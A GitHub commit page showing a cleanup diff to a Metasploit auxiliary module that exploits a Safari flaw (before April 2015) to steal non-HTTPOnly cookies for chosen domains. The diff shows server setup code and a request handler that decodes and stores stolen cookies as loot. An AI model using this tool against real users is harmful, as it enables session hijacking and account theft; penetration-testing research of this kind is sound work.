Skip to content

Commit 16daa93

Browse files
committed
Do minor code cleanup
1 parent 2010e96 commit 16daa93

File tree

1 file changed

+15
-15
lines changed

1 file changed

+15
-15
lines changed

modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb

Lines changed: 15 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary
1313

1414
def initialize(info={})
1515
super(update_info(info,
16-
'Name' => "Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft",
16+
'Name' => 'Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft',
1717
'Description' => %q{
1818
A vulnerability exists in versions of OSX/iOS/Windows Safari released
1919
before April 8, 2015 that allows the non-HTTPOnly cookies of any
@@ -31,24 +31,24 @@ def initialize(info={})
3131
'Actions' => [ [ 'WebServer' ] ],
3232
'PassiveActions' => [ 'WebServer' ],
3333
'DefaultAction' => 'WebServer',
34-
'DisclosureDate' => "Apr 8 2015"
34+
'DisclosureDate' => 'Apr 8 2015'
3535
))
3636

3737
register_options([
38-
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
39-
OptPort.new('SRVPORT', [true, "The local port to use for the FTP server", 5555 ]),
40-
OptPort.new('HTTPPORT', [true, "The HTTP server port", 8080]),
38+
OptString.new('URIPATH', [false, 'The URI to use for this exploit (default is random)']),
39+
OptPort.new('SRVPORT', [true, 'The local port to use for the FTP server', 5555 ]),
40+
OptPort.new('HTTPPORT', [true, 'The HTTP server port', 8080]),
4141
OptString.new('TARGET_DOMAINS', [
4242
true,
43-
"The comma-separated list of domains to steal non-HTTPOnly cookies from.",
43+
'The comma-separated list of domains to steal non-HTTPOnly cookies from.',
4444
'apple.com,example.com'
4545
])
4646
], self.class )
4747
end
4848

4949

5050
#
51-
# Start the FTP aand HTTP server
51+
# Start the FTP and HTTP server
5252
#
5353
def run
5454
start_service
@@ -58,15 +58,15 @@ def run
5858

5959

6060
#
61-
# Handle the HTTP request and return a response. Code borrorwed from:
61+
# Handle the HTTP request and return a response. Code borrowed from:
6262
# msf/core/exploit/http/server.rb
6363
#
6464
def start_http(opts={})
6565
# Ensture all dependencies are present before initializing HTTP
6666
use_zlib
6767

6868
comm = datastore['ListenerComm']
69-
if (comm.to_s == "local")
69+
if (comm.to_s == 'local')
7070
comm = ::Rex::Socket::Comm::Local
7171
else
7272
comm = nil
@@ -104,7 +104,7 @@ def start_http(opts={})
104104
'Path' => resource_uri
105105
}.update(opts['Uri'] || {})
106106

107-
proto = (datastore["SSL"] ? "https" : "http")
107+
proto = (datastore['SSL'] ? 'https' : 'http')
108108
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
109109

110110
if (opts['ServerHost'] == '0.0.0.0')
@@ -179,7 +179,7 @@ def cleanup
179179
# set.
180180
#
181181
def use_zlib
182-
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
182+
unless Rex::Text.zlib_present? || datastore['HTTP::compression'] == false
183183
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
184184
end
185185
end
@@ -205,13 +205,13 @@ def on_request_uri(cli, request)
205205
domain = json['domain']
206206
cookie = Rex::Text.decode_base64(json['p']).to_s
207207
if cookie.length == 0
208-
print_error "#{cli.peerhost}: No cookies found for #{domain}"
208+
print_error("#{cli.peerhost}: No cookies found for #{domain}")
209209
else
210210
file = store_loot(
211-
"cookie_#{domain}", "text/plain", cli.peerhost, cookie, 'cookie', "Stolen cookies"
211+
"cookie_#{domain}", 'text/plain', cli.peerhost, cookie, 'cookie', 'Stolen cookies'
212212
)
213-
print_good "#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): "
214-
print_good file
213+
print_good("#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): ")
214+
print_good(file)
215215
end
216216
send_response(cli, 200, 'OK', '')
217217
else

0 commit comments

Comments
 (0)